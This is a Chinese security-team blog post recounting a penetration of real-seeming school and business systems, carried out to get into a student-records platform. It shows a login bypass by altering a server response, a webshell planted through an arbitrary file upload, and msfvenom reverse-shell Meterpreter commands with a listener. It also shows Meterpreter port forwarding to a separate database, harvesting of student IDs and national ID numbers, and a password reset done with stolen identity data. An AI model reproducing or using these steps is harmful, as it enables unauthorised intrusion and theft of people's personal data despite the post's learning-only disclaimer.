这是F12sec的第63篇原创
申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
ps:感谢北神,小丑师傅给的代码
本文由团队师傅Challenger投稿,转载请标明来源。
1.审计开始
1.为struts框架
查看web.xml中<filter-mapping>的<url-pattern>来确定拦截规则,当是.action时所有以.action为结尾的请求都会被struts处理拦截,/test/.action则只有test目录下的请求会被拦截。
初步审计无需登录或者可以绕过登录的洞
再看struts.xml看对应.action后端处理在那,看到设置了包扫描,所以.action后端处理都在dckj.business下
再看回web.xml看一下全局filter等filter过滤器,对应Java文件在dckj.core.base.EntssGlobalFilter,因为审的是编译后的源码以前com.web.servlet.uploadServlet
对应classes/com/web/servlet/uploadServlet.class
全局过滤,大概看了,就判断cookie的处理和白名单ip的处理,还有开放的静态路径
CAS单点登录认证:
https://blog.csdn.net/qq_41258204/article/details/84036875,这里可以直接访问服务器不被重定向回认证服务器,不太懂
登录通过判断sql登录成功注入java bean对象然后通过监听器绑定对象来确认身份
1.HttpSessionBindingListener 这个监听器,可以让javaBean对象,感知它被绑定到session中或从session中移除。 2.HttpSessionActivationListener 这个监听器,可以让javaBean感知,被钝化或活化。 钝化—>将session中的javaBean保存到文件中. 活化—>从文件中将javaBean直接获取。也就是说我们想通过改返回值”status”: “y”绕过认证不太可能了
只能看看有啥可以未授权访问的功能,看白名单,有个文件下载,看上去可以,但实践不行。
本地debug 可以穿目录下载文件 ok 实际测试Fuzz一波不行0.0,放弃
因为没有啥未授权的洞,只能搞账号,本地搭起环境麻烦审出来,也得有账号进实际的才有意思,而登录有验证码,如果训练识别验证码爆破很麻烦,而且效率低靠运气!放弃…..但找回密码,
只 需要学号 身份证,后返回随机密码,无需电话验证还是有希望
打使用该系统的目标来获取学号和身份证
谷歌 社工库没找到
直接打使用该系统的目标,通过漏洞获取账号 身份证 或者直接密码
这里有3个有效目标
挑第一个目标,企业查查确定资产,子域名……快速一波没有洞,打微信小程序也没洞,反编译小程序麻烦最后再试
goby扫端口重定向的域名的站,发现可管理员后台登录
为ThinkPhp的站,TP的站常规工具打一波payload,无效,爆破无效,登录发包改返回包0改1
直接跳转到这,直接可以文件上传.
真是好家伙!!任意文件上传,直接送shell来了。
目的拿学号 身份证 或者直接密码,翻数据库配置文件
扫端口未开放3306,只能
端口转发出来
为了上传下载文件稳定性,这里用 msf进行(reGeorg 可能环境原因连不上)
生成马
代码语言:javascript复制msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=服务器IP lport=667 -f elf > msf_667
msfconsole上监听
代码语言:javascript复制use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 667
run
把生成的马上传上webshell,然后运行
代码语言:javascript复制chmod x /tmp/msf_667
/tmp/msf_667
在反弹回来的meterpreter上进行端口转发
代码语言:javascript复制portfwd add -l 670 -p 3306 -r 127.0.0.1
但站库分离,mysql不在这台机,淦卡住了,想其它代理,但可以直接将转发地址改为mysql服务器地址,
127.0.0.1改mysql地址 portfwd add -l 671 -p 3306 -r 201.x.x.1
成功转发,msf转发感谢TARI师兄的教导
成功连接,只有学号和电话,密码加盐了
在另外的数据库翻到超级管理员的密码这里不加盐但,登进去没啥可以获取学生身份证的功能,废了
在用户登录为另外的网站,输入账号为手机号,密码随手123456 登录成功返回身份证 NB 学号和身份证有了
有了 学号和身份证,回到要代码审计的系统去重置密码,重置他会返回随机密码:
成功登录。终于可以好好审计了
再次黑白盒结合审计:(有待更新)
才测一下子文件上传就崩了或者关网站了…,没法访问了淦 ,有白名单无法绕过,因为他会重命名00截断对文件名无效,但patn参数直接拼接可控,该系统用jdk7,可以尝试00截断,但实际path后有/不知可否截断
受空字节截断影响的JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。